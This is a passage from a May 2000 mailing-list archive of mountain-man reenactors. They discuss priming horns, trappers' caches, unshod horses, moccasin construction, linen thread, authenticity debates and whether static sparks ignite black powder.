temp and flash point for different combustibles is almost unique for each
one. Very low for the volital's like avgas and very high for things like BP,
steel, etc. I'll explain more this weekend as you wonder why your teepee is
a smoldering pile of ashes from setting it up in another man's space. <G> I
remain.........

YMOS
Capt. Lahti'




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From: Jerry & Barbara Zaslow <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 15 May 2000 22:41:29 -0700 (PDT)

Interesting comments being made back and forth.  Maybe you should all read
the about 400 messages that say the same thing over and over and over.......
like I am trying to do this evening because I haven't been able to get to my
e-mails on a regular basis in about a couple of weeks.  I've gotten very
good at using the delete button.  But seriously, there have been some good
and interesting comments on both sides of the camp.

All I can say on the topic is that I've been told lots of stuff by many so
called experts (both AMM and non-AMM) over the years that I find quite
amusing.  Some of these things include how to make braintan by persons who
wore  commercially tanned buckskins and did not own anything made of
braintan and others who wore garmets made of braintan that they had bought.
Others have told me all about horses, yet they have not ridden in years and
don't own a horse.  So much for self appointed experts!

With regard to authenticity, I have also been told that horses are not
appropriate at certain "PRIMATIVE/AUTHENTIC" Rendezvous.  That is the reason
I don't attend may of the commercial Rendezvous anymore; they make no
provisions for horses and my wife and I don't want to go unless we can take
them.  To be honest, I would rather be with my wife and horses anyway!

I agree that we all started somewhere that was not even close to
historically correct (I just wish I had some of the $$$ I spent back.)  I
also agree that we will never be 100%.  What you need to understand, though,
is that many of us are quite passionate about this topic because we love it
and there are so many excuses why something isn't being done right.  In
fact, many times it would take less effort to just do it right.  Part of the
fun of it is doing the reasearch and then discussing it/debating with others.

I don't think anyone should be hurtful or disrespectful in their comments or
answers but also, don't be so sensitive.  We're supposed to be having fun.

All I can say is I AM!

Best Regards,

Jerry (Meriwether) Zaslow #1488




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From: Jerry & Barbara Zaslow <[e-mail]>
Subject: Re: MtMan-List: Un-shod Horses.
Date: 15 May 2000 22:41:25 -0700 (PDT)

Chance,

I have 3 horses (which I ride a lot) and 2 of them are barefoot.  The only
reason that the 3rd one has shoes is because he has some problems with his
hooves.  Of the other 2 (one is a quarterhorse and the other a mustang) they
both go on rocks and all kinds of areas; never have had a problem with
either yet.  The only reason I would put shoes on them would be if I was
going on an extended trip and didn't want to worry about them going lame on
the trail.

Best Regards,

Jerry (Meriwether) Zaslow #1488

At 05:30 PM 05/10/2000 -0600, you wrote:
>Chance Tiffie wrote:
>
>> Bluelodge,
>> Seems to me there are many accounts of horseshoes, and the equipment needed
>> to set them, going to the Rockies.  So much for un-shod horses.
>> Funny thing about research, it made me quit using artificial sinew, but I
>> get to shoe my mules.
>>
>> Cliff Tiffie
>> PO Box 5089
>> Durant, OK
>> 74702
>> 580-924-4187
>> ---------------------
>> Aux Aliments de Pays!
>>
>> ________________________________________________________________________
>> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com
>>
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>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>   Depending on the ground conditions, have read of many just shoeing the front
>feet only and using no shoes in the winter to save ice build up and accidents.
>   Have done this for years with the 8-10 animals we had over a 15-18 year
>period, rocks kept the hoofs wore down on the rear and took very little
>trimming, plus with this number of horses it sure saved on shoeing bills every
>6-7 weeks.
>
>Later
>Buck
>
>
>
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-------------------------------------------------------------------------------

From: Duncan Macready <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 15 May 2000 23:44:42 +1200

I have a powder horn and priming horn which date to a British ship from=20
1784, The priming horn has a lever operated sheet brass spout like the one=
=20
on the horn offered by JPGunstocks. It is about 6" long and only 1=BC" at=
 the=20
base ,which is also made of sheet brass ,broad arrow marked which means it=
=20
was govt issue. It also has 2 small brass staples for a strap. .I always=20
thought it could have been a cannon primer or maybe for priming a bess. I=20
know that they usually primed from the paper cartridge but what about=20
priming a gun  which has had a missfire / flash in the pan or simply had=20
the priming blown away when the frizzen was opened. I still use this=20
priming horn and it is a lot easier to use than one with a plug in the=
 spout.
YMOS
Cutfinger
Friendships made,Problems shared
Campfires across the wilderness.
Auckland, New Zealand


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: powder "horns?"(flask or can)
Date: 16 May 2000 07:11:17 -0600

I believe what you say has merit. But consider that a rocket motor is in a
dust free environment. Its contents are powdered aluminum, nitro, black
powder, and a few other nasty ingredients. No electricity. The materials
bound by a polymer. The floor is spotless. The air filtered. Yet a static
spark can set the thing off.
-----Original Message-----


>> With all due respect, I have to disagree about static electricity. I lost
>>  five friends at a rocket motor factory because of a static discharge. I
>have
>>  another good friend who was burned horribly when a man on the crew
touched
>a
>>  loaded motor and a static spark jumped from him to the propellant and it
>>  went off, killing
>
>Bill,
>There is no disagreement.  You just didn't read what I wrote carefully.
>Static electricity WILL set off dust and fumes.
>It WILL NOT ignite black powder.
>
>The accident you described above involved an electric motor and high
>amperage, as well as a highly volatile fuel.  This incident involved a
spark
>passing through air, wherein the fuel is suspended in the air and at it's
>maximum stoichiometric mixture.
>
>Black powder by itself  is relatively stable and the same conditions
>described do not apply.
>
>You cannot summarily group all instances in the same category.
>
>Dave
>
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From: [e-mail]
Subject: Re: MtMan-List: powder "horns?"(flask or can)fllash point
Date: 16 May 2000 10:20:58 EDT

Hallo the List,

Capt Lahti (retired Fire Chief!) does know his stuff, but I think we're talking about the same thing. Throw matches all day long at a lump of coal and not a problem, but do it to coal dust (read black powder dust in a powder horn) and kiss your...ah...friends good by. I yeild to the Capt... (they won't torch the tipi cause I hid the whiskey in there!)

Ymos,
Steve

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From: "Larry Huber" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 16 May 2000 08:35:36 -0700

I agree with the cache part of this message.  A Mountain Man on horseback,
carrying a year's supply of goods with him would certainly cache it before
setting about his daily routine.  However, it would be a very short sighted
(and short-lived) trapper who believed he only needed to carry with him what
he needed for the day.  He'd be assuming he'd be able to make it back to his
cache by nightfall.  I submit that a long-lived Mountain Man carried with
him daily the minimum he'd need to survive away from camp on an extended
basis.  He's hunting in hostile territory where grizzlies and blackfeet may
actively object to his poaching there.  He would be foolish to assume he
could safely make it back to camp.  No, I submit that he would be packing a
large horn filled with a considerable supply of powder.  A horn of the size
depicted by Alfred Jacob Miller in his sketches.  Also, he'd carry lead or
cast balls that would match the amount of powder in the horn.  His blankets
may be on his horse, but his possibles bag was near at hand not back at
camp.
I believe that day or hunting horns were frequently carried...but in more
civilized areas.  Near settlements of close lying farms or villages.  This
was a rural society for years and a farmer only needed to step a few hundred
yards away from the house to acquire game.  Many of the surviving examples
of horns and guns fall into this category because they were passed down
within the family and the practice they were designed for was also passed
down.  In the scope of American History the time of the Mountain Man was a
short one and his kind developed survival techniques unique to them.  His
camp wasn't his home, it was his base of operations and his "back-up" supply
depot.  The Mountains were his home.  What he needed, he carried.
Respectfully,
Larry Huber
#1517
----- Original Message -----
Sent: Monday, May 15, 2000 1:17 PM


[e-mail] wrote:
guys---
I personally feel that the mountain men would set up a base camp to hunt
or trap out of and would casha that stuff not needed on a daly
basis---then would use a small day horn or like system(whatever you call
it) to get fresh meat or to run the traplines and food seeking
trecks---its a lot better to loose a small amount of important stuff than
the whole load of it---just my humbel opinion of course---hope I have
made my point---

Your idea Hawk is hitting the nail right on head, and the way that Curly G.,
Charley Hanson and Vern Bigsby at a conference in the early 80's saw it
also,
the trapper would setup a base camp, a cache (incase the camp was
discovered)
and carry just what was needed for a day or two - when away from camp. One
good point was powder, he wouldn't carry all his powder in a large horn,
what
if it got wet ot worst yet lost - stolen - etc., same goes with having all
his
gear with him.  They made a good point in there thinking and what they had
researched.

Later

Concho

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From: [e-mail]
Subject: RE: MtMan-List: priming horn
Date: 16 May 2000 16:25:01 +0100

Why wouldn't you just mash up a little 2f between sheets and viola--4f.  Not
trying to say it was done, but we can't dismiss it either.  The controls on
powder were not as they are today.  Powder would have contained more
variation in granularity and fine stuff can always be made!

Rick

-----Original Message-----
[mailto:[e-mail]]On Behalf Of larry pendleton
Sent: Tuesday, May 16, 2000 3:12 AM


Ok guys.  How about a different slant on the priming horn question ?  Can
anyone document 4f powder, and in what quantiies ?  Can anyone document it
going to the mountains in the pre-1840 period ?  I don't recall ever seeing
a reference to 4f or superfine powder.  It seems to me if there wasn't any
priming powder to be had, then they didn't have a need for a priming horn.
Hmmm just a thought.
Pendleton
-----Original Message-----


Tony,

I talked to Jim at the annual Horner's Guild meeting last month and he's
a very nice and knowledgeable gentleman.  Unfortuntely, we didn't get
around to discussing priming horns.  I have talked to Roland Cadle on
several occasions ( past president of the Horner's Guild ) and he's of
the opinion that any small horn was a day horn and mostly 19th century.
That's not to say priming horns didn't exist then, but I haven't been able
to document one as yet other than those use to prime cannons.

Dennis

>Hi Steve, A couple years ago I had a conversation with Jim Dresslar the
>author of "The Engraved Powder Horn", and probably the countries foremost
>authority on powder horns, and he also mentioned that there are very few
>references in period documents to priming horns, and that priming horns
>generally weren't used by many folks.


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: powder "horns?"(flask or can)fllash point
Date: 16 May 2000 09:47:33 -0700


I yeild to the Capt... (they won't torch the tipi cause I hid the whiskey in
there!)
>
> Ymos,
> Steve

Magpie,

Good that you yeild to the Capt. But remember he is a Rum Drinker and CAPT.
MORGAN's at that. Wiskey makes good fire starter when the wood's wet. <G> I
think you have the right idea about ignition temps now. I remain....

YMOS
Capt. Lahti'




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From: "Walt Foster" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 16 May 2000 12:08:46 -0600

In the scope of American History the time of the Mountain Man was a
> short one and his kind developed survival techniques unique to them.  His
> camp wasn't his home, it was his base of operations and his "back-up"
supply
> depot.  The Mountains were his home.  What he needed, he carried.
> Respectfully,> Larry Huber> #1517

Good post.  What hasn't been mention was Crow shake downs and loss of
horse/s.
The different ecologies of the Rocky Mountains and else where are unique to
the
specific location.  Tucking away what you don't need or want to loose is an
old
human trait.  A good cache was not always easy to make and you wouldn't want
your cache lifted.  Another survival adaption was the economic warfare that
was
taking place in the northern Rockies.  Outfit against outfit.  Walt


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: What a UGLY country...Go to Yellowstone Park
Date: 16 May 2000 15:27:27 EDT



Fellers,
You guys are wrong!  Wyoming is a horrid desert, mostly flat and ugly.  Of no
interest to the general public.  Shuffle all the touristas into the wonders of
Yellowstone Park so they'll be happy with their own ilk...all 10 million of
'em...keep the rest of them awful horrid places unpeopled.

Rick

Yeah, don't bother telling them about the Nat'l Forest land adjoining the
park.  Please do not mention the words Absarokas, Wind Rivers, Gros Ventres,
et. al.

john

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From: Mike Moore <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 16 May 2000 14:58:01 -0600

Larry,
    I agree. Caches were made to be gotten in to once and then moved. Most
trappers and western explorers made a big cache of goods so they could take
it up again when back through the area. With the possiblity of Indian scares,
other trapping parties in the area and other reasons which could keep a guy
or two busy for awhile, no one whould carry only enough for one day's
fighting or hunting. Caches also gave space to handle hides on animals. Even
the bigger animals of today have limits which they can carry and I figure when
trapping, room was made for the hides and packs. Banks weren't around in the
west, but a safety deposit box (cache) was a handy thing to have. The percentage

of good caches was actually low. Water, animals and Indians found a large number

and raided them. Having made a couple, I find they are useful, but hard to find
the
perfect spot.
                                            mike.

Larry Huber wrote:

> I agree with the cache part of this message.  A Mountain Man on horseback,
> carrying a year's supply of goods with him would certainly cache it before
> setting about his daily routine.  However, it would be a very short sighted
> (and short-lived) trapper who believed he only needed to carry with him what
> he needed for the day.  He'd be assuming he'd be able to make it back to his
> cache by nightfall.  I submit that a long-lived Mountain Man carried with
> him daily the minimum he'd need to survive away from camp on an extended
> basis.  He's hunting in hostile territory where grizzlies and blackfeet may
> actively object to his poaching there.  He would be foolish to assume he
> could safely make it back to camp.  No, I submit that he would be packing a
> large horn filled with a considerable supply of powder.  A horn of the size
> depicted by Alfred Jacob Miller in his sketches.  Also, he'd carry lead or
> cast balls that would match the amount of powder in the horn.  His blankets
> may be on his horse, but his possibles bag was near at hand not back at
> camp.
> I believe that day or hunting horns were frequently carried...but in more
> civilized areas.  Near settlements of close lying farms or villages.  This
> was a rural society for years and a farmer only needed to step a few hundred
> yards away from the house to acquire game.  Many of the surviving examples
> of horns and guns fall into this category because they were passed down
> within the family and the practice they were designed for was also passed
> down.  In the scope of American History the time of the Mountain Man was a
> short one and his kind developed survival techniques unique to them.  His
> camp wasn't his home, it was his base of operations and his "back-up" supply
> depot.  The Mountains were his home.  What he needed, he carried.
> Respectfully,
> Larry Huber
> #1517
> ----- Original Message -----
> From: Concho Smith <[e-mail]>
> To: <[e-mail]>
> Sent: Monday, May 15, 2000 1:17 PM
> Subject: Re: [Re: MtMan-List: priming horn]
>
> [e-mail] wrote:
> guys---
> I personally feel that the mountain men would set up a base camp to hunt
> or trap out of and would casha that stuff not needed on a daly
> basis---then would use a small day horn or like system(whatever you call
> it) to get fresh meat or to run the traplines and food seeking
> trecks---its a lot better to loose a small amount of important stuff than
> the whole load of it---just my humbel opinion of course---hope I have
> made my point---
>
> Your idea Hawk is hitting the nail right on head, and the way that Curly G.,
> Charley Hanson and Vern Bigsby at a conference in the early 80's saw it
> also,
> the trapper would setup a base camp, a cache (incase the camp was
> discovered)
> and carry just what was needed for a day or two - when away from camp. One
> good point was powder, he wouldn't carry all his powder in a large horn,
> what
> if it got wet ot worst yet lost - stolen - etc., same goes with having all
> his
> gear with him.  They made a good point in there thinking and what they had
> researched.
>
> Later
>
> Concho
>
> ____________________________________________________________________
> Get your own FREE, personal Netscape WebMail account today at
> http://webmail.netscape.com.
>
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From: "Dennis Earp" <[e-mail]>
Subject: Re: MtMan-List: What I meant to say....
Date: 16 May 2000 17:27:27 -0400

Allen,

Please contact me off line about the bees wax.

Thanks,
Dennis Earp
[e-mail]


>Now for some socially redeeming info for this post.......let's see....  Ok,
>if you need beeswax, go to a honey dealer/manufacturer.  Here I can get it
>for $3 a pound, which is a whole lot cheaper than rendezvous/mountain
>prices.


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-------------------------------------------------------------------------------

From: Duane Wheeler <[e-mail]>
Subject: MtMan-List: Flinters and Northwest trade guns...
Date: 16 May 2000 16:16:13 -0700

This is a multi-part message in MIME format.
--------------31749F0DCD4326E61C0A5BFE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


*Howdy! .. in the camp..

This pilgrim is wise'n up to the mountiany ways and ready to
move on from the TC hawken to a flinter...I've had enough of
dressing like Jerry Garcia, and Rendezvous that look more like
woodstock than Jackson's Hole.  'jes kidd'n... I'll take 'em all.

I live in the area of Ft.Vancouver and might fit the bill of a scottish
trapper under the command of HBC and chief factor Mc Glothlin.

I'm perplexed as to embraceing the smoothbore flinter over a rifle,
tho at a winter shoot held at the Flying "M" in Yamhill.. I was facinated
by the smooth shooting of the trade gun...   I stood in wonderment of
the shooter who used a feather in the touch hole and perhaps a wad..
under the round ball, as it was one stroke to the bottom of the barrel.

He'd brush the pan and pull the feather to his teeth... prime.. close the
frizzen
and bump the gun with his palm... then with confidence it would fire!

The weather was about 25F with snow on the ground...

Pilgrim that I am.. I was pounding away with the storebought
hollywood "Hawken" and got a ball stuck halfway down and my
plastic wonder-rod was wobble'n like a noodle<G>

Boosh-way showed mercy and seated the ball with a steel rod..
Thanks- *Forest Hills BP Brigade..

I safely fired my rifle, and re-turned it to the truck to watch
the Old timers... *The other thing I need to up-grade is
my moccisins<G>Heheee..  I camp with Scouts and the OA and
another buckskinning group called FCF,would like to better
my camp to a more correct display of my areas history.
I'm thinking a smoothbore fowler or trade gun might help...

Less "Orange deer skin fringe" and more wet woolies<G>

Thanks...
Duane Wheeler
->A no.1<-
FCF '66






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org:            OPT. 354 TPCC
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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 16 May 2000 17:14:10 -0600

Larry,
I would like to repeat what I posted sometime back, A traper in the Rockies
during the Rendezvous period would more likely travel and work with a group
of trapers wrather than alone. He would also probably have 2 to 3 pack
animals. This would mean that he could bring in a lot of goods for the
year's work. When he set his traps or checked them he would take a couple of
day's worth of supplie's except in the way of amunition, with amunition he
would carry enough to protect himself and those people working with him. I
would also mention that the pack animals were not there to haul goods in,
they were there to hall pelt's out. These men if nothing else were
practical.
YMOS
Ole # 718
----------
>From: "Larry Huber" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: [Re: MtMan-List: priming horn]
>Date: Tue, May 16, 2000, 9:35 AM
>

>I agree with the cache part of this message.  A Mountain Man on horseback,
>carrying a year's supply of goods with him would certainly cache it before
>setting about his daily routine.  However, it would be a very short sighted
>(and short-lived) trapper who believed he only needed to carry with him what
>he needed for the day.  He'd be assuming he'd be able to make it back to his
>cache by nightfall.  I submit that a long-lived Mountain Man carried with
>him daily the minimum he'd need to survive away from camp on an extended
>basis.  He's hunting in hostile territory where grizzlies and blackfeet may
>actively object to his poaching there.  He would be foolish to assume he
>could safely make it back to camp.  No, I submit that he would be packing a
>large horn filled with a considerable supply of powder.  A horn of the size
>depicted by Alfred Jacob Miller in his sketches.  Also, he'd carry lead or
>cast balls that would match the amount of powder in the horn.  His blankets
>may be on his horse, but his possibles bag was near at hand not back at
>camp.
>I believe that day or hunting horns were frequently carried...but in more
>civilized areas.  Near settlements of close lying farms or villages.  This
>was a rural society for years and a farmer only needed to step a few hundred
>yards away from the house to acquire game.  Many of the surviving examples
>of horns and guns fall into this category because they were passed down
>within the family and the practice they were designed for was also passed
>down.  In the scope of American History the time of the Mountain Man was a
>short one and his kind developed survival techniques unique to them.  His
>camp wasn't his home, it was his base of operations and his "back-up" supply
>depot.  The Mountains were his home.  What he needed, he carried.
>Respectfully,
>Larry Huber
>#1517
>----- Original Message -----
>From: Concho Smith <[e-mail]>
>To: <[e-mail]>
>Sent: Monday, May 15, 2000 1:17 PM
>Subject: Re: [Re: MtMan-List: priming horn]
>
>
>[e-mail] wrote:
>guys---
>I personally feel that the mountain men would set up a base camp to hunt
>or trap out of and would casha that stuff not needed on a daly
>basis---then would use a small day horn or like system(whatever you call
>it) to get fresh meat or to run the traplines and food seeking
>trecks---its a lot better to loose a small amount of important stuff than
>the whole load of it---just my humbel opinion of course---hope I have
>made my point---
>
>Your idea Hawk is hitting the nail right on head, and the way that Curly G.,
>Charley Hanson and Vern Bigsby at a conference in the early 80's saw it
>also,
>the trapper would setup a base camp, a cache (incase the camp was
>discovered)
>and carry just what was needed for a day or two - when away from camp. One
>good point was powder, he wouldn't carry all his powder in a large horn,
>what
>if it got wet ot worst yet lost - stolen - etc., same goes with having all
>his
>gear with him.  They made a good point in there thinking and what they had
>researched.
>
>Later
>
>Concho
>
>____________________________________________________________________
>Get your own FREE, personal Netscape WebMail account today at
>http://webmail.netscape.com.
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 16 May 2000 17:17:46 -0600

Good point! and was probably the case. It would depend upon how well the
traper was doing as to what kind of extras he would outfit himself with.
YMOS
Ole
----------
>From: [e-mail]
>To: [e-mail]
>Subject: RE: MtMan-List: priming horn
>Date: Tue, May 16, 2000, 9:25 AM
>

>Why wouldn't you just mash up a little 2f between sheets and viola--4f.  Not
>trying to say it was done, but we can't dismiss it either.  The controls on
>powder were not as they are today.  Powder would have contained more
>variation in granularity and fine stuff can always be made!
>
>Rick
>
>-----Original Message-----
>From: [e-mail]
>[mailto:[e-mail]]On Behalf Of larry pendleton
>Sent: Tuesday, May 16, 2000 3:12 AM
>To: [e-mail]
>Subject: Re: MtMan-List: priming horn
>
>
>Ok guys.  How about a different slant on the priming horn question ?  Can
>anyone document 4f powder, and in what quantiies ?  Can anyone document it
>going to the mountains in the pre-1840 period ?  I don't recall ever seeing
>a reference to 4f or superfine powder.  It seems to me if there wasn't any
>priming powder to be had, then they didn't have a need for a priming horn.
>Hmmm just a thought.
>Pendleton
>-----Original Message-----
>From: Dennis Earp <[e-mail]>
>To: [e-mail] <[e-mail]>
>Date: Monday, May 15, 2000 8:14 AM
>Subject: Re: MtMan-List: priming horn
>
>
>Tony,
>
>I talked to Jim at the annual Horner's Guild meeting last month and he's
>a very nice and knowledgeable gentleman.  Unfortuntely, we didn't get
>around to discussing priming horns.  I have talked to Roland Cadle on
>several occasions ( past president of the Horner's Guild ) and he's of
>the opinion that any small horn was a day horn and mostly 19th century.
>That's not to say priming horns didn't exist then, but I haven't been able
>to document one as yet other than those use to prime cannons.
>
>Dennis
>
>>Hi Steve, A couple years ago I had a conversation with Jim Dresslar the
>>author of "The Engraved Powder Horn", and probably the countries foremost
>>authority on powder horns, and he also mentioned that there are very few
>>references in period documents to priming horns, and that priming horns
>>generally weren't used by many folks.
>
>
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From: "larry pendleton" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 16 May 2000 19:10:24 -0700

Larry,
  You are exactly right !  Well said sir !
Pendleton

-----Original Message-----


I agree with the cache part of this message.  A Mountain Man on horseback,
carrying a year's supply of goods with him would certainly cache it before
setting about his daily routine.  However, it would be a very short sighted
(and short-lived) trapper who believed he only needed to carry with him what
he needed for the day.  He'd be assuming he'd be able to make it back to his
cache by nightfall.  I submit that a long-lived Mountain Man carried with
him daily the minimum he'd need to survive away from camp on an extended
basis.  He's hunting in hostile territory where grizzlies and blackfeet may
actively object to his poaching there.  He would be foolish to assume he
could safely make it back to camp.  No, I submit that he would be packing a
large horn filled with a considerable supply of powder.  A horn of the size
depicted by Alfred Jacob Miller in his sketches.  Also, he'd carry lead or
cast balls that would match the amount of powder in the horn.  His blankets
may be on his horse, but his possibles bag was near at hand not back at
camp.
I believe that day or hunting horns were frequently carried...but in more
civilized areas.  Near settlements of close lying farms or villages.  This
was a rural society for years and a farmer only needed to step a few hundred
yards away from the house to acquire game.  Many of the surviving examples
of horns and guns fall into this category because they were passed down
within the family and the practice they were designed for was also passed
down.  In the scope of American History the time of the Mountain Man was a
short one and his kind developed survival techniques unique to them.  His
camp wasn't his home, it was his base of operations and his "back-up" supply
depot.  The Mountains were his home.  What he needed, he carried.
Respectfully,
Larry Huber
#1517
----- Original Message -----
Sent: Monday, May 15, 2000 1:17 PM


[e-mail] wrote:
guys---
I personally feel that the mountain men would set up a base camp to hunt
or trap out of and would casha that stuff not needed on a daly
basis---then would use a small day horn or like system(whatever you call
it) to get fresh meat or to run the traplines and food seeking
trecks---its a lot better to loose a small amount of important stuff than
the whole load of it---just my humbel opinion of course---hope I have
made my point---

Your idea Hawk is hitting the nail right on head, and the way that Curly G.,
Charley Hanson and Vern Bigsby at a conference in the early 80's saw it
also,
the trapper would setup a base camp, a cache (incase the camp was
discovered)
and carry just what was needed for a day or two - when away from camp. One
good point was powder, he wouldn't carry all his powder in a large horn,
what
if it got wet ot worst yet lost - stolen - etc., same goes with having all
his
gear with him.  They made a good point in there thinking and what they had
researched.

Later

Concho

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From: [e-mail] (JON MARINETTI)
Subject: MtMan-List: Static electricity & black powder
Date: 16 May 2000 20:51:15 -0400 (EDT)

If I may suggest as an experiment, why not try to create a static spark
with an OPEN priming pan amount of 3F to settle the question and post
results back to the list?  Have seen rather finger painful blue static
sparks with Vibram soles on carpet in dry weather and also even on
ordinary grocery store flooring then touching metal cans on shelf.

~~~~~~~~~~~~~~~~~~~~~~~~
from Michigan
~~~~~~~~~~~~~~~~~~~~~~~~


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From: "Walt Foster" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 16 May 2000 19:11:20 -0600

Ole,
What do you mean?  ....the pack animals were not there to hall goods in they
were there to haul pelt's out"
Walt


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From: [e-mail]
Subject: Re: [Re: MtMan-List: priming horn]
Date: 16 May 2000 22:57:47 EDT

From  "'The Pennsylvania Kentucky Rifle " by Henry J. Kauffman ;  page 137,
"Before leaving the subject of horns, the reader should be alerted to the
fact that two sizes of horns were used in the period of the flintlock.  The
larger horn was filled with coarse powder for the barrel, the smaller horn
contained a fine powder that was placed in the pan for ignition.
     The invention of the percussion lock eliminated the need for the smaller
horn and the more recent large horns were not as attractive as the ones used
in the earlier times."............
     Don't really mean nothing, just found this in real black print.  Wanted
to pass it on.
Till trails cross
Turtle


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From: Duncan Macready <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 16 May 2000 19:17:43 +1200

Mike wrote Caches were made to be gotten in to once and then moved.
A number of the Hunters who made these Caches must have gone under before
getting back to them , or even couldnt find them, Have any ever been found
later?
YMOS
Cutfinger
Friendships made,Problems shared
Campfires across the wilderness.
Auckland, New Zealand


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From: "Poorboy" <[e-mail]>
Subject: MtMan-List: Moccersons questions
Date: 17 May 2000 06:46:37 -0700

Klahowya my friends,

I am making my first pair of eastern centerseam moccersons.  in the past I
have always made the two piece plains moccerson.  I have developed the
pattern and cut the uppers and the extra soles.  What I need to know is:  Do
I hide glue the extra sole to the inside of the moc or do I sew it to the
bottom?  What is the best stitch to use for longevity of the linen thread I
am using?  Thank you in advance for everyone's time and efforts concerning
these questions.

YMOS
PoorBoy



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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 17 May 2000 07:46:21 -0600

Walt,
Think about this, the reason that trapers were out in the mountains was to
trap Beaver, and like most of us they expected to trap a lot of Beaver. Now
having said that, they had to be able to get those plews to market and so
they would bring pack animals. For instance if you had a party of 20 trapers
you could expect to see about 60 to 80 animals either horses or mules. If
this party was moving to a new traping area they would carry there traps,
bed rolls,cooking equipment, etc. if you were returning to the same area
that you had traped the year before you would have cashed the traps, to be
used later. This would make it possible for a large party to carry a lot of
diferent items into there base camp that a single or couple of traper's
would not be able to do. But like us the traping party would have great
expectations for there success and would be thinking of how to get there
catch to Rendezvous. If you read "Rocky Mountain Rendezvous" by Fred Gowans,
you would see that they had to move the Rendezvous camps two or three times
in order to keep a good supply of feed for there animals.
Anyway I hope this explains my thinking better.
YMOS
Ole # 718
----------
>From: "Walt Foster" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: [Re: MtMan-List: priming horn]
>Date: Tue, May 16, 2000, 7:11 PM
>

>Ole,
>What do you mean?  ....the pack animals were not there to hall goods in they
>were there to haul pelt's out"
>Walt
>
>
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From: Ronald Schrotter <[e-mail]>
Subject: MtMan-List: Wonderful country
Date: 17 May 2000 09:20:11 -0700 (PDT)

Bill, thanks for coming to the defense of Wyoming,
especially about the bubble crested west coasters.
Keep it up and maybe we'll let you in someday.  I
would rather read this line than the beat to death
authenticity line.  Dog, somewhere near the Black's Fork

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From: Ronald Schrotter <[e-mail]>
Subject: MtMan-List: Cacheing goods.
Date: 17 May 2000 09:21:57 -0700 (PDT)

How do you think the Cache Valey got it's name?  Dog,
Gabe's Hole Brig.

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From: [e-mail]
Subject: Re: MtMan-List: Moccersons questions
Date: 17 May 2000 12:34:16 EDT

Poorboy hide glue a lone will not hold up because it brakes down when it gets
wet.  When it dries it will get hard so just tacking it in place with glue
will help hold it where you want it while you sew it. I use a whip stitch
making sure I only go part way threw the leather on the body of the moc. that
way there is no stitch showing on the out side where it will get the most
ware.
                                                 Crazy Cyot



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From: [e-mail]
Subject: Re: MtMan-List: Moccersons questions
Date: 17 May 2000 13:16:50 EDT

Poorboy I for got to mention this will work for both in side and out side the
only difference when put extra soles on the out side make sure the peace is
large enough that all the stitches are on the side of the foot ware it won't
be walk on.
                                         Crazy Cyot

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From: "Ratcliff" <[e-mail]>
Subject: MtMan-List: pure flax sinew (linen thread)
Date: 17 May 2000 17:42:02 -0500

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01BFC027.355FEDC0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

During the recent "discussions" about the use of waxed nylon artificial =
sinew there were numerous references to using real animal sinew or linen =
thread for sewing projects.  There is a company, Barbour's,  in Blue =
Mountain, Alabama 36201 that has made real linen thread, which they call =
"pure flax sinew", since 1784.  Recently I bought a one pound spool =
(1354 yards!!) of 4-cord flax thread that would be ideal for most sewing =
projects that anyone is likely to encounter.  The thread is very strong =
and would probably work for fishing line, too, if care were taken to dry =
it thoroughly after use.  That is pure speculation on my part but I =
intend to test the theory soon. =20
I bought it at the Leather Factory store in Ft Worth and got a hefty =
discount from the rather expensive original price because it is make for =
a particular brand of shoe makers lock stitch sewing machine that has =
been discontinued as has the thread .  (Some machines use left twist =
thread and others use right twist thread, but I figured that the =
direction of the twist would not make any difference in hand sewing.)  =
There are Leather Factory stores around the country and if you can find =
one you might be able to negotiate a similar discount.
YMOS
Lanney Ratcliff

Check our Barbours and Leather Factory below:

http://leatherfactory.com/
http://www.barbour-threads.com/profile.html


------=_NextPart_000_0007_01BFC027.355FEDC0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D3>During the recent "discussions" about the use of =
waxed nylon=20
artificial sinew there were numerous references to using real =
animal sinew=20
or linen thread for sewing projects.  There is a company,=20
Barbour</FONT><FONT size=3D3>'s,  in Blue Mountain, Alabama 36201 =
that has=20
made real linen thread, which they call "pure flax sinew", since=20
1784.  Recently I bought a one pound spool (1354 yards!!) of 4-cord =
flax=20
thread that would be ideal for most sewing projects that anyone is =
likely to=20
encounter.  The thread is very strong and would probably work for =
fishing=20
line, too, if care were taken to dry it thoroughly after use.  That =
is pure=20
speculation on my part but I intend to test the theory soon.  =
</FONT></DIV>
<DIV><FONT size=3D3>I bought it at the Leather Factory store in Ft Worth =
and got a=20
hefty discount from the rather expensive original price because it is =
make for=20
a particular brand of shoe makers lock stitch sewing machine that =
has been=20
